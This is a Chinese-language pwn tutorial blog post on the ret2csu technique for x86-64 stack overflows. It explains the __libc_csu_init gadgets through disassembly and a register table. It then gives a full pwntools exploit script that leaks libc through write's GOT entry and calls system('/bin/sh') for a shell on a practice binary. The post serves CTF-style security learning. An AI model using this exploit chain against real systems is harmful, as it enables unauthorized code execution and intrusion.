pwn学习-ret2csu
再上一次学习栈溢出ret2syscall
方法时,我们会发现有些gadget
不存在,我们只能借用read
遗留下来的ebx寄存机调用,这时就可以使用万能gadget
,这个万能的gadget
存在__libc_csu_init
中,由于每个动态链接的程序就有有libc
,并且__libc_csu_init
用于初始化,所以说几乎每个程序都含有__libc_csu_init
,我们使用里面的万能gadget
够着ROP Chain
上述中的代码就是万能gadget
分步骤的话代码流程如下
第一步
.text:0000000000400716 loc_400716: ; CODE XREF: __libc_csu_init+34↑j
.text:0000000000400716 48 83 C4 08 add rsp, 8
.text:000000000040071A 5B pop rbx
.text:000000000040071B 5D pop rbp
.text:000000000040071C 41 5C pop r12
.text:000000000040071E 41 5D pop r13
.text:0000000000400720 41 5E pop r14
.text:0000000000400722 41 5F pop r15
.text:0000000000400724 C3 retn
第二步
.text:0000000000400700 loc_400700: ; CODE XREF: __libc_csu_init+54↓j
.text:0000000000400700 4C 89 EA mov rdx, r13
.text:0000000000400703 4C 89 F6 mov rsi, r14
.text:0000000000400706 44 89 FF mov edi, r15d
.text:0000000000400709 41 FF 14 DC call ds:(__frame_dummy_init_array_entry - 600E10h)[r12+rbx*8]
第三步
.text:000000000040070D 48 83 C3 01 add rbx, 1
.text:0000000000400711 48 39 EB cmp rbx, rbp
.text:0000000000400714 75 EA jnz short loc_400700
具体第一步每个参数的值如下
寄存器 | 值 |
---|---|
rbx | 0 |
rbp | 1 |
r13 | 对应rdx,调用函数的第三个参数 |
r14 | 对应rsi,调用函数的第二个参数 |
r15 | 对应rdi,调用函数的第一个参数 |
我们需要设置rbx为0,rbp为1,然后rdx,rsi,rdi为需要的参数,通过栈溢出成功执行函数后,我们需要传入第二个gadget
,就是上述步骤中的第二步和第三步,他会调用我们的想执行的函数,然后将rbx的值加1,判断rbx - rbp
,判断其结果是否为0,如果值不为0就跳转到第二步代码
我们正常第一步需要通过泄露函数判断目标使用的libc,第一步栈溢出成功后,我们需要让程序第二次运行,这时程序运算rbx - rbp
值为0了,则不跳转,下方的指令就是我们的第一步,先执行add
然后各种各样的pop
,我们只需要往下覆盖7
行没用的add和pop
,就可以到ret
然后跳转将main
地址让程序再一次运行,我们可以再一次进行栈溢出漏洞,这次直接通过system("/bin/sh") getshell
400700: 4c 89 ea mov rdx,r13
400703: 4c 89 f6 mov rsi,r14
400706: 44 89 ff mov edi,r15d
400709: 41 ff 14 dc call QWORD PTR [r12+rbx*8]
40070d: 48 83 c3 01 add rbx,0x1
400711: 48 39 eb cmp rbx,rbp
400714: 75 ea jne 400700 <__libc_csu_init+0x40>
400716: 48 83 c4 08 add rsp,0x8
40071a: 5b pop rbx
40071b: 5d pop rbp
40071c: 41 5c pop r12
40071e: 41 5d pop r13
400720: 41 5e pop r14
400722: 41 5f pop r15
400724: c3 ret
接着执行函数,脚本如下
from pwn import *
from LibcSearcher import *
context(log_level='debug')
p = process("./x64_ret2csu")
# p = remote("192.168.6.102",21986)
e = ELF("./x64_ret2csu")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
p.recvuntil(b"Welcome to x64_ret2csu\n")
gadget1 = 0x40071a
gadget2 = 0x400700
write_got = e.got['write']
# print(write_got)
main = 0x40065B
padding = 0x80 + 0x8
payload = b"A" * padding
payload += p64(gadget1)
payload += p64(0) # rbx
payload += p64(1) # rbp
payload += p64(write_got)
payload += p64(8) # rdx
payload += p64(write_got) # rsi
payload += p64(1) # rdi
payload += p64(gadget2)
payload += p64(0xdeadbeef)*7
payload += p64(main)
p.send(payload)
write_addr = u64(p.recv(8))
print("write_addr is %#x" %write_addr)
libc_base = write_addr - libc.sym['write']
print("libc_base is %#x" %libc_base)
system_addr = libc_base + libc.sym['system']
bin_sh = libc_base + next(libc.search(b'/bin/sh'))
# obj = LibcSearcher("write",write_addr)
# libc_base = write_addr - obj.dump("write")
# system_addr = libc_base + obj.dump("system")
# bin_sh = libc_base + obj.dump("str_bin_sh")
pop_rdi_ret = 0x400723
ret = 0x4004c9
p.recvuntil(b"Welcome to x64_ret2csu\n")
padding = 0x80 + 0x8
payload = b"A" * padding
payload += p64(ret)
payload += p64(pop_rdi_ret)
payload += p64(bin_sh)
payload += p64(system_addr)
payload += p64(main)
p.send(payload)
p.interactive()
使用程序如下:
链接:https://pan.baidu.com/s/1WO5bu7yxJWLOmywZFFgNrQ
提取码:o34t